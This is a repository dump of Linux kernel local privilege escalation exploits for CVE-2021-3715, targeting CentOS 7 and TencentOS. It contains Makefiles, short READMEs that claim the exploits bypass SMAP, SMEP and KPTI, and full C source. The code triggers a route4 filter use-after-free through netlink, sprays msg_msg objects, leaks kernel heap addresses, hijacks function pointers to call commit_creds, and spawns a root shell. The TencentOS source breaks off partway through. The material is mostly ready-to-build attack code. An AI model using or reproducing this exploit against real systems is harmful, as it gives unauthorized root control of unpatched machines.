├── CVE-2021-3715 ├── TencentOS │ ├── Makefile │ ├── Tencentos_exp.mp4 │ ├── README.md │ └── exp.c └── CentOS7 │ ├── Makefile │ ├── centos_exp.mp4 │ ├── README.md │ └── exp_no_user_fault.c └── README.md /CVE-2021-3715/TencentOS/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cc exp.c -o exp -std=c99 3 | -------------------------------------------------------------------------------- /CVE-2021-3715/CentOS7/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | cc -o exp exp_no_user_fault.c -std=c99 3 | clean: 4 | rm -rf exp 5 | -------------------------------------------------------------------------------- /CVE-2021-3715/CentOS7/centos_exp.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Markakd/kernel_exploit/HEAD/CVE-2021-3715/CentOS7/centos_exp.mp4 -------------------------------------------------------------------------------- /CVE-2021-3715/TencentOS/Tencentos_exp.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Markakd/kernel_exploit/HEAD/CVE-2021-3715/TencentOS/Tencentos_exp.mp4 -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # kernel_exploit 2 | Linux kernel exploit 3 | 4 | - [CVE-2021-3715](https://access.redhat.com/security/cve/cve-2021-3715) Write-up coming soon... 5 | -------------------------------------------------------------------------------- /CVE-2021-3715/TencentOS/README.md: -------------------------------------------------------------------------------- 1 | # unpatched bug in TecentOS kernel 2 | - kernel version: 4.14.105-19-0019 tlinux 3 | - works on the default installation, bypasses all the mitigation including SMAP, SMEP, and KPTI. 4 | -------------------------------------------------------------------------------- /CVE-2021-3715/CentOS7/README.md: -------------------------------------------------------------------------------- 1 | # unpatched bug in CentOS kernel 2 | - kernel version: 3.10.0-1160.15.2.el7.x86_64 3 | - requires the kernel to enable USER_NAMESPACE, bypasses all the mitigation including SMAP, SMEP, and KPTI. 4 | -------------------------------------------------------------------------------- /CVE-2021-3715/CentOS7/exp_no_user_fault.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | 57 | // #define DEBUG 58 | 59 | uint64_t KERNEL_HEAP = 0; 60 | uint64_t KERNEL_BASE = 0xffffffff81000000ul; 61 | 62 | #define MSG_SPRAY_NUM 0x20 63 | #define MAX_FD 0x30 64 | #define PAGE_SIZE 0x1000 65 | #define CR4_DESIRED_VALUE 0x6f0 66 | 67 | #define PAGE_SIZE 0x1000 68 | #define CPUINFO_OP_OFFSET 0x804680 69 | 70 | #define INIT_CRED (KERNEL_BASE + 0xc577c0) 71 | #define XOR_RAX_RET (KERNEL_BASE + 0x3974a7) 72 | #define COMMIT_CREDS (KERNEL_BASE + 0x0ccdb0) 73 | #define ACPI_EVENT (KERNEL_BASE + 0x47e130) 74 | #define INSTALL_CRED (KERNEL_BASE + 0x2547e0) 75 | 76 | 77 | 78 | int msgids[MSG_SPRAY_NUM] = {}; 79 | int fds[MAX_FD] = {}; 80 | 81 | void DumpHex(const void* data, size_t size) { 82 | char ascii[17]; 83 | size_t i, j; 84 | ascii[16] = '\0'; 85 | for (i = 0; i < size; ++i) { 86 | printf("%02X ", ((unsigned char*)data)[i]); 87 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 88 | ascii[i % 16] = ((unsigned char*)data)[i]; 89 | } else { 90 | ascii[i % 16] = '.'; 91 | } 92 | if ((i+1) % 8 == 0 || i+1 == size) { 93 | printf(" "); 94 | if ((i+1) % 16 == 0) { 95 | printf("| %s \n", ascii); 96 | } else if (i+1 == size) { 97 | ascii[(i+1) % 16] = '\0'; 98 | if ((i+1) % 16 <= 8) { 99 | printf(" "); 100 | } 101 | for (j = (i+1) % 16; j < 16; ++j) { 102 | printf(" "); 103 | } 104 | printf("| %s \n", ascii); 105 | } 106 | } 107 | } 108 | } 109 | 110 | bool write_file(const char* file, const char* what, ...) { 111 | char buf[1024]; 112 | va_list args; 113 | va_start(args, what); 114 | vsnprintf(buf, sizeof(buf), what, args); 115 | va_end(args); 116 | buf[sizeof(buf) - 1] = 0; 117 | int len = strlen(buf); 118 | 119 | int fd = open(file, O_WRONLY | O_CLOEXEC); 120 | if (fd == -1) 121 | return false; 122 | if (write(fd, buf, len) != len) { 123 | close(fd); 124 | return false; 125 | } 126 | close(fd); 127 | return true; 128 | } 129 | 130 | void setup_namespace() { 131 | int real_uid = getuid(); 132 | int real_gid = getgid(); 133 | 134 | if (unshare(CLONE_NEWUSER) != 0) { 135 | perror("[-] unshare(CLONE_NEWUSER)"); 136 | exit(EXIT_FAILURE); 137 | } 138 | 139 | if (unshare(CLONE_NEWNET) != 0) { 140 | perror("[-] unshare(CLONE_NEWUSER)"); 141 | exit(EXIT_FAILURE); 142 | } 143 | 144 | if (!write_file("/proc/self/setgroups", "deny")) { 145 | perror("[-] write_file(/proc/self/set_groups)"); 146 | exit(EXIT_FAILURE); 147 | } 148 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 149 | perror("[-] write_file(/proc/self/uid_map)"); 150 | exit(EXIT_FAILURE); 151 | } 152 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 153 | perror("[-] write_file(/proc/self/gid_map)"); 154 | exit(EXIT_FAILURE); 155 | } 156 | 157 | cpu_set_t my_set; 158 | CPU_ZERO(&my_set); 159 | CPU_SET(0, &my_set); 160 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 161 | perror("[-] sched_setaffinity()"); 162 | exit(EXIT_FAILURE); 163 | } 164 | 165 | if (system("/sbin/ifconfig lo up") != 0) { 166 | perror("[-] system(/sbin/ifconfig lo up)"); 167 | exit(EXIT_FAILURE); 168 | } 169 | } 170 | 171 | #define NLMSG_TAIL(nmsg) \ 172 | ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) 173 | 174 | int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, 175 | int alen) 176 | { 177 | int len = RTA_LENGTH(alen); 178 | struct rtattr *rta; 179 | 180 | if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { 181 | fprintf(stderr, 182 | "addattr_l ERROR: message exceeded bound of %d\n", 183 | maxlen); 184 | return -1; 185 | } 186 | rta = NLMSG_TAIL(n); 187 | rta->rta_type = type; 188 | rta->rta_len = len; 189 | if (alen) 190 | memcpy(RTA_DATA(rta), data, alen); 191 | n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); 192 | return 0; 193 | } 194 | 195 | struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) 196 | { 197 | struct rtattr *nest = NLMSG_TAIL(n); 198 | 199 | addattr_l(n, maxlen, type, NULL, 0); 200 | return nest; 201 | } 202 | 203 | int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) 204 | { 205 | nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; 206 | return n->nlmsg_len; 207 | } 208 | 209 | int sockfd = -1; 210 | 211 | int add_qdisc() { 212 | char *start = malloc(0x1000); 213 | memset(start, 0, 0x1000); 214 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 215 | 216 | // new qdisc 217 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 218 | msg->nlmsg_flags = NLM_F_REQUEST|NLM_F_EXCL|NLM_F_CREATE; 219 | msg->nlmsg_type = RTM_NEWQDISC; 220 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 221 | // set local 222 | t->tcm_ifindex = 1; 223 | t->tcm_family = AF_UNSPEC; 224 | t->tcm_parent = TC_H_ROOT; 225 | // prio, protocol 226 | u_int32_t prio = 1; 227 | u_int32_t protocol = 1; 228 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 229 | 230 | addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4); 231 | 232 | // packing 233 | #ifdef DEBUG 234 | DumpHex(msg, msg->nlmsg_len); 235 | #endif 236 | 237 | struct iovec iov = { 238 | .iov_base = msg, 239 | .iov_len = msg->nlmsg_len 240 | }; 241 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 242 | struct msghdr msgh = { 243 | .msg_name = &nladdr, 244 | .msg_namelen = sizeof(nladdr), 245 | .msg_iov = &iov, 246 | .msg_iovlen = 1, 247 | }; 248 | return sendmsg(sockfd, &msgh, 0); 249 | } 250 | 251 | int add_tc(u_int32_t from, u_int32_t to, u_int32_t iif, u_int32_t handle, u_int16_t flags) { 252 | char *start = malloc(0x2000); 253 | memset(start, 0, 0x2000); 254 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 255 | 256 | // new filter 257 | msg = msg + msg->nlmsg_len; 258 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 259 | msg->nlmsg_flags = NLM_F_REQUEST|flags; 260 | msg->nlmsg_type = RTM_NEWTFILTER; 261 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 262 | 263 | // prio, protocol 264 | u_int32_t prio = 1; 265 | u_int32_t protocol = 1; 266 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 267 | t->tcm_ifindex = 1; 268 | t->tcm_family = AF_UNSPEC; 269 | t->tcm_handle = handle; 270 | // t->tcm_parent = TC_H_ROOT; 271 | 272 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 273 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 274 | if (from) 275 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 276 | if (to) 277 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 278 | if (iif) 279 | addattr_l(msg, 0x1000, TCA_ROUTE4_IIF, &iif, 4); 280 | addattr_nest_end(msg, tail); 281 | 282 | 283 | // packing 284 | struct iovec iov = { 285 | .iov_base = msg, 286 | .iov_len = msg->nlmsg_len 287 | }; 288 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 289 | struct msghdr msgh = { 290 | .msg_name = &nladdr, 291 | .msg_namelen = sizeof(nladdr), 292 | .msg_iov = &iov, 293 | .msg_iovlen = 1, 294 | }; 295 | sendmsg(sockfd, &msgh, 0); 296 | 297 | free(start); 298 | return 1; 299 | } 300 | 301 | 302 | int add_tc_(u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) { 303 | char *start = malloc(0x2000); 304 | memset(start, 0, 0x2000); 305 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 306 | 307 | // new filter 308 | msg = msg + msg->nlmsg_len; 309 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 310 | msg->nlmsg_flags = NLM_F_REQUEST|flags; 311 | msg->nlmsg_type = RTM_NEWTFILTER; 312 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 313 | 314 | // prio, protocol 315 | u_int32_t prio = 1; 316 | u_int32_t protocol = 1; 317 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 318 | t->tcm_ifindex = 1; 319 | t->tcm_family = AF_UNSPEC; 320 | t->tcm_handle = handle; 321 | // t->tcm_parent = TC_H_ROOT; 322 | 323 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 324 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 325 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 326 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 327 | addattr_nest_end(msg, tail); 328 | 329 | 330 | // packing 331 | struct iovec iov = { 332 | .iov_base = msg, 333 | .iov_len = msg->nlmsg_len 334 | }; 335 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 336 | struct msghdr msgh = { 337 | .msg_name = &nladdr, 338 | .msg_namelen = sizeof(nladdr), 339 | .msg_iov = &iov, 340 | .msg_iovlen = 1, 341 | }; 342 | 343 | sendmsg(sockfd, &msgh, 0); 344 | 345 | free(start); 346 | return 1; 347 | } 348 | 349 | void *dump_tc(u_int32_t from, u_int32_t to, u_int32_t handle, u_int16_t flags) { 350 | char *start = malloc(0x2000); 351 | memset(start, 0, 0x2000); 352 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 353 | 354 | // new filter 355 | msg = msg + msg->nlmsg_len; 356 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 357 | msg->nlmsg_flags = NLM_F_REQUEST | NLM_F_ECHO | flags; 358 | msg->nlmsg_type = RTM_GETTFILTER; 359 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 360 | 361 | // prio, protocol 362 | u_int32_t prio = 1; 363 | u_int32_t protocol = 1; 364 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 365 | t->tcm_ifindex = 1; 366 | t->tcm_family = AF_UNSPEC; 367 | t->tcm_handle = handle; 368 | // t->tcm_parent = TC_H_ROOT; 369 | 370 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 371 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 372 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 373 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 374 | addattr_nest_end(msg, tail); 375 | 376 | 377 | // packing 378 | struct iovec iov = { 379 | .iov_base = msg, 380 | .iov_len = msg->nlmsg_len 381 | }; 382 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 383 | struct msghdr msgh = { 384 | .msg_name = &nladdr, 385 | .msg_namelen = sizeof(nladdr), 386 | .msg_iov = &iov, 387 | .msg_iovlen = 1, 388 | }; 389 | 390 | sendmsg(sockfd, &msgh, 0); 391 | memset(start, 0, 0x2000); 392 | iov.iov_len = 0x2000; 393 | iov.iov_base = start; 394 | recvmsg(sockfd, &msgh, 0); 395 | 396 | if (msgh.msg_namelen != sizeof(nladdr)) { 397 | printf("size of sender address is wrong\n"); 398 | } 399 | 400 | // DumpHex(start, 0x200); 401 | 402 | // free(start); 403 | 404 | return start; 405 | } 406 | 407 | void* dump_tc1() { 408 | // from hash == 31 409 | return dump_tc(0, 0x7f, 0x7f7f, 0); 410 | } 411 | 412 | void add_tc_leak1() { 413 | add_tc(0, 0, 0x1f, 0x801f8000, NLM_F_EXCL|NLM_F_CREATE); 414 | } 415 | 416 | void add_tc_leak2() { 417 | add_tc(0, 0x11, 0x2f, 0x801f8000, NLM_F_CREATE); 418 | } 419 | 420 | void add_tc1() { 421 | add_tc_(0, 0x7f, 0x7f7f, NLM_F_EXCL|NLM_F_CREATE); 422 | } 423 | 424 | void add_tc2() { 425 | add_tc_(0, 0x11, 0x7f7f, NLM_F_CREATE); 426 | } 427 | 428 | /* spray 256 */ 429 | struct msg { 430 | long mtype; 431 | char data[0]; 432 | }; 433 | 434 | int msg_init() { 435 | int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT); 436 | if (msqid < 0) { 437 | perror("msgget"); 438 | } 439 | return msqid; 440 | } 441 | 442 | void msg_alloc(int msqid, size_t size) { 443 | struct msg *m = malloc(sizeof(struct msg) + size); 444 | m->mtype = 1; 445 | memset(m->data, 'B', size); 446 | 447 | // set handle 448 | *(uint32_t*)((char*)m + 0x40 - 40) = 0xdead; 449 | // func hijacking 1: ruc call back 450 | //*(uint64_t*)((char*)m + 0x98 - 40) = 0x2f746d702f78; 451 | *(uint64_t*)((char*)m + 0xa0 - 40) = 0xffffffff81248250; 452 | // func hijacking 2: work_struct workfunc 453 | *(uint64_t*)((char*)m + 0x70 - 40) = 0xdeadbeefdeadbeef; 454 | 455 | if (msgsnd(msqid, (void *)m, size-48, 0) != 0) { 456 | perror("msgsnd"); 457 | } 458 | free(m); 459 | } 460 | 461 | void msg_free(int msqid, size_t size) { 462 | char *data = malloc(size+0x10); 463 | if(msgrcv(msqid, data, size, 1, 0) < 0) { 464 | perror("msgrcv"); 465 | } 466 | free(data); 467 | } 468 | 469 | 470 | char* msg_get(int id, size_t size) { 471 | char *data = malloc(size+0x10); 472 | msgrcv(id, data, size, 1, 0); 473 | return data; 474 | } 475 | 476 | int kmalloc_msg(int num) { 477 | int msqid; 478 | msqid = msg_init(); 479 | 480 | for (int i=0; ifile; 512 | if (file->f_op->flush) 513 | file->f_op->flush(file, NULL); 514 | __fput_sync(file); 515 | complete(&acct->done); 516 | } 517 | 518 | static int cgroup_seqfile_show(struct seq_file *m, void *arg) 519 | { 520 | struct cftype *cft = seq_cft(m); 521 | struct cgroup_subsys_state *css = seq_css(m); 522 | 523 | if (cft->seq_show) 524 | return cft->seq_show(m, arg); 525 | 526 | if (cft->read_u64) 527 | seq_printf(m, "%llu\n", cft->read_u64(css, cft)); 528 | else if (cft->read_s64) 529 | seq_printf(m, "%lld\n", cft->read_s64(css, cft)); 530 | else 531 | return -EINVAL; 532 | return 0; 533 | } 534 | */ 535 | 536 | void exploit() { 537 | int msqid = msg_init(); 538 | int msqid2 = msg_init(); 539 | uint64_t *data; 540 | uint64_t kernel_heap; 541 | 542 | add_qdisc(); 543 | add_tc_leak1(); 544 | #ifdef DEBUG 545 | printf("Freeing the route4_filter\n"); 546 | #endif 547 | add_tc_leak2(); 548 | #ifdef DEBUG 549 | printf("Sleep for a while making sure route4_filter is freed\n"); 550 | #endif 551 | sleep(1); 552 | 553 | struct msg *m = malloc(sizeof(struct msg) + 192 + PAGE_SIZE); 554 | m->mtype = 1; 555 | memset(m->data, 0, 192); 556 | // set handle 557 | *(uint32_t*)((char*)m + 0x40 - 40) = 0x801f8000; 558 | 559 | for (int i=0;i<8;i++){ 560 | if (msgsnd(msqid, (void *)m, 192-48, 0) != 0) { 561 | perror("msgsnd"); 562 | } 563 | } 564 | 565 | data = dump_tc(0, 0x7f, 0x801f8000, 0); 566 | #ifdef DEBUG 567 | DumpHex(data, 100); 568 | #endif 569 | kernel_heap = data[8]; 570 | kernel_heap = kernel_heap & 0xffffffff; 571 | kernel_heap = kernel_heap << 32; 572 | free(data); 573 | 574 | add_tc1(); 575 | add_tc2(); 576 | sleep(1); 577 | 578 | *(uint32_t*)((char*)m + 0x40 - 40) = 0x7f7f; 579 | for (int i=0;i<8;i++){ 580 | if (msgsnd(msqid2, (void *)m, 192-48, 0) != 0) { 581 | perror("msgsnd"); 582 | } 583 | } 584 | data = dump_tc(0, 0x7f, 0x7f7f, 0); 585 | #ifdef DEBUG 586 | DumpHex(data, 0x100); 587 | #endif 588 | free(data); 589 | data = dump_tc(0, 0x7f, 0x7f7f, 0); 590 | 591 | #ifdef DEBUG 592 | DumpHex(data, 0x100); 593 | #endif 594 | 595 | kernel_heap = kernel_heap + ((data[9]&0xffff) << 16); 596 | printf("here is the heap addr: 0x%lx\n", kernel_heap); 597 | 598 | for (int i=0; idata+PAGE_SIZE-48-8; 607 | memset(spray, 0, 192); 608 | *(uint32_t *)(spray + 0x40) = 0x7f7f; 609 | *(uint64_t *)(spray + 0x30) = kernel_heap; 610 | 611 | for (int i=0; i=0; i--) { 724 | // lseek(fds[i], KERNEL_HEAP-0x38, SEEK_SET); 725 | char c; 726 | read(fds[i], &c, 1); 727 | } 728 | 729 | // printf("checking if we are root...\n"); 730 | // if (is_root()) { 731 | // printf("yes we are root now\n"); 732 | // } else { 733 | // printf("no we are not!\n"); 734 | // } 735 | 736 | if (is_root()) { 737 | if (fork() == 0) { 738 | printf("getting root\n"); 739 | char *args[] = {"/bin/sh", "-i", NULL}; 740 | execve("/bin/sh", args, NULL); 741 | } 742 | } else { 743 | printf("we are not root....\n"); 744 | } 745 | 746 | while(1) sleep(10); 747 | } 748 | 749 | int main() { 750 | setup_namespace(); 751 | sockfd = socket(PF_NETLINK, SOCK_RAW, 0); 752 | assert(sockfd != -1); 753 | 754 | exploit(); 755 | } 756 | 757 | 758 | -------------------------------------------------------------------------------- /CVE-2021-3715/TencentOS/exp.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | 57 | // #define DEBUG 58 | 59 | uint64_t KERNEL_HEAP = 0; 60 | uint64_t KERNEL_BASE = 0xffffffff81000000ul; 61 | 62 | #define MSG_SPRAY_NUM 0x20 63 | #define MAX_FD 0x10 64 | #define PAGE_SIZE 0x1000 65 | #define CR4_DESIRED_VALUE 0x6f0 66 | 67 | #define PAGE_SIZE 0x1000 68 | #define CPUINFO_OP_OFFSET 0x1005f20 69 | 70 | #define INIT_CRED (KERNEL_BASE + 0x165bb20) 71 | #define XOR_RAX_RET (KERNEL_BASE + 0x1e6f80) 72 | #define INSTALL_CRED (KERNEL_BASE + 0x23cbf0) 73 | #define REGCACHE_MARK_DIRTY (KERNEL_BASE + 0x564f80) 74 | #define NATIVE_WRITE_CR4 (KERNEL_BASE + 0x0647f0) 75 | #define COMMIT_CREDS (KERNEL_BASE + 0x0a1fe0) 76 | #define PREPARE_KERNEL_CRED (KERNEL_BASE + 0x0a2480) 77 | #define ACPI_EVENT (KERNEL_BASE + 0x47e130) 78 | 79 | #define AND_RAX (KERNEL_BASE + 0x0a00f3) 80 | 81 | typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 82 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 83 | 84 | int get_root_payload(void) { 85 | ((_commit_creds)(COMMIT_CREDS))( 86 | ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0) 87 | ); 88 | return 0; 89 | } 90 | 91 | int msgids[MSG_SPRAY_NUM] = {}; 92 | int fds[MAX_FD] = {}; 93 | 94 | void DumpHex(const void* data, size_t size) { 95 | char ascii[17]; 96 | size_t i, j; 97 | ascii[16] = '\0'; 98 | for (i = 0; i < size; ++i) { 99 | printf("%02X ", ((unsigned char*)data)[i]); 100 | if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { 101 | ascii[i % 16] = ((unsigned char*)data)[i]; 102 | } else { 103 | ascii[i % 16] = '.'; 104 | } 105 | if ((i+1) % 8 == 0 || i+1 == size) { 106 | printf(" "); 107 | if ((i+1) % 16 == 0) { 108 | printf("| %s \n", ascii); 109 | } else if (i+1 == size) { 110 | ascii[(i+1) % 16] = '\0'; 111 | if ((i+1) % 16 <= 8) { 112 | printf(" "); 113 | } 114 | for (j = (i+1) % 16; j < 16; ++j) { 115 | printf(" "); 116 | } 117 | printf("| %s \n", ascii); 118 | } 119 | } 120 | } 121 | } 122 | 123 | bool write_file(const char* file, const char* what, ...) { 124 | char buf[1024]; 125 | va_list args; 126 | va_start(args, what); 127 | vsnprintf(buf, sizeof(buf), what, args); 128 | va_end(args); 129 | buf[sizeof(buf) - 1] = 0; 130 | int len = strlen(buf); 131 | 132 | int fd = open(file, O_WRONLY | O_CLOEXEC); 133 | if (fd == -1) 134 | return false; 135 | if (write(fd, buf, len) != len) { 136 | close(fd); 137 | return false; 138 | } 139 | close(fd); 140 | return true; 141 | } 142 | 143 | void setup_namespace() { 144 | int real_uid = getuid(); 145 | int real_gid = getgid(); 146 | 147 | if (unshare(CLONE_NEWUSER) != 0) { 148 | perror("[-] unshare(CLONE_NEWUSER)"); 149 | exit(EXIT_FAILURE); 150 | } 151 | 152 | if (unshare(CLONE_NEWNET) != 0) { 153 | perror("[-] unshare(CLONE_NEWUSER)"); 154 | exit(EXIT_FAILURE); 155 | } 156 | 157 | if (!write_file("/proc/self/setgroups", "deny")) { 158 | perror("[-] write_file(/proc/self/set_groups)"); 159 | exit(EXIT_FAILURE); 160 | } 161 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){ 162 | perror("[-] write_file(/proc/self/uid_map)"); 163 | exit(EXIT_FAILURE); 164 | } 165 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 166 | perror("[-] write_file(/proc/self/gid_map)"); 167 | exit(EXIT_FAILURE); 168 | } 169 | 170 | cpu_set_t my_set; 171 | CPU_ZERO(&my_set); 172 | CPU_SET(0, &my_set); 173 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 174 | perror("[-] sched_setaffinity()"); 175 | exit(EXIT_FAILURE); 176 | } 177 | 178 | if (system("/sbin/ifconfig lo up") != 0) { 179 | perror("[-] system(/sbin/ifconfig lo up)"); 180 | exit(EXIT_FAILURE); 181 | } 182 | } 183 | 184 | #define NLMSG_TAIL(nmsg) \ 185 | ((struct rtattr *) (((void *) (nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) 186 | 187 | int addattr_l(struct nlmsghdr *n, int maxlen, int type, const void *data, 188 | int alen) 189 | { 190 | int len = RTA_LENGTH(alen); 191 | struct rtattr *rta; 192 | 193 | if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { 194 | fprintf(stderr, 195 | "addattr_l ERROR: message exceeded bound of %d\n", 196 | maxlen); 197 | return -1; 198 | } 199 | rta = NLMSG_TAIL(n); 200 | rta->rta_type = type; 201 | rta->rta_len = len; 202 | if (alen) 203 | memcpy(RTA_DATA(rta), data, alen); 204 | n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); 205 | return 0; 206 | } 207 | 208 | struct rtattr *addattr_nest(struct nlmsghdr *n, int maxlen, int type) 209 | { 210 | struct rtattr *nest = NLMSG_TAIL(n); 211 | 212 | addattr_l(n, maxlen, type, NULL, 0); 213 | return nest; 214 | } 215 | 216 | int addattr_nest_end(struct nlmsghdr *n, struct rtattr *nest) 217 | { 218 | nest->rta_len = (void *)NLMSG_TAIL(n) - (void *)nest; 219 | return n->nlmsg_len; 220 | } 221 | 222 | int sockfd = -1; 223 | 224 | int add_qdisc() { 225 | char *start = malloc(0x1000); 226 | memset(start, 0, 0x1000); 227 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 228 | 229 | // new qdisc 230 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 231 | msg->nlmsg_flags = NLM_F_REQUEST|NLM_F_EXCL|NLM_F_CREATE; 232 | msg->nlmsg_type = RTM_NEWQDISC; 233 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 234 | // set local 235 | t->tcm_ifindex = 1; 236 | t->tcm_family = AF_UNSPEC; 237 | t->tcm_parent = TC_H_ROOT; 238 | // prio, protocol 239 | u_int32_t prio = 1; 240 | u_int32_t protocol = 1; 241 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 242 | 243 | addattr_l(msg, 0x1000, TCA_KIND, "sfq", 4); 244 | 245 | // packing 246 | #ifdef DEBUG 247 | DumpHex(msg, msg->nlmsg_len); 248 | #endif 249 | 250 | struct iovec iov = { 251 | .iov_base = msg, 252 | .iov_len = msg->nlmsg_len 253 | }; 254 | struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK }; 255 | struct msghdr msgh = { 256 | .msg_name = &nladdr, 257 | .msg_namelen = sizeof(nladdr), 258 | .msg_iov = &iov, 259 | .msg_iovlen = 1, 260 | }; 261 | return sendmsg(sockfd, &msgh, 0); 262 | } 263 | 264 | int add_tc(u_int32_t from, u_int32_t to, u_int32_t iif, u_int32_t handle, u_int16_t flags) { 265 | char *start = malloc(0x2000); 266 | memset(start, 0, 0x2000); 267 | struct nlmsghdr *msg = (struct nlmsghdr *)start; 268 | 269 | // new filter 270 | msg = msg + msg->nlmsg_len; 271 | msg->nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg)); 272 | msg->nlmsg_flags = NLM_F_REQUEST|flags; 273 | msg->nlmsg_type = RTM_NEWTFILTER; 274 | struct tcmsg *t = (struct tcmsg *)(start + sizeof(struct nlmsghdr)); 275 | 276 | // prio, protocol 277 | u_int32_t prio = 1; 278 | u_int32_t protocol = 1; 279 | t->tcm_info = TC_H_MAKE(prio<<16, protocol); 280 | t->tcm_ifindex = 1; 281 | t->tcm_family = AF_UNSPEC; 282 | t->tcm_handle = handle; 283 | // t->tcm_parent = TC_H_ROOT; 284 | 285 | addattr_l(msg, 0x1000, TCA_KIND, "route", 6); 286 | struct rtattr *tail = addattr_nest(msg, 0x1000, TCA_OPTIONS); 287 | if (from) 288 | addattr_l(msg, 0x1000, TCA_ROUTE4_FROM, &from, 4); 289 | if (to) 290 | addattr_l(msg, 0x1000, TCA_ROUTE4_TO, &to, 4); 291 | if (iif) 292 | addattr_l(msg, 0x1000, TCA_ROUTE4_IIF, &iif, 4); 293 | addattr_nest_end(msg, tail); 294 | 295 | 296 | // packing 297 | struct iovec iov = { 298 | .iov_base = msg, 299 | 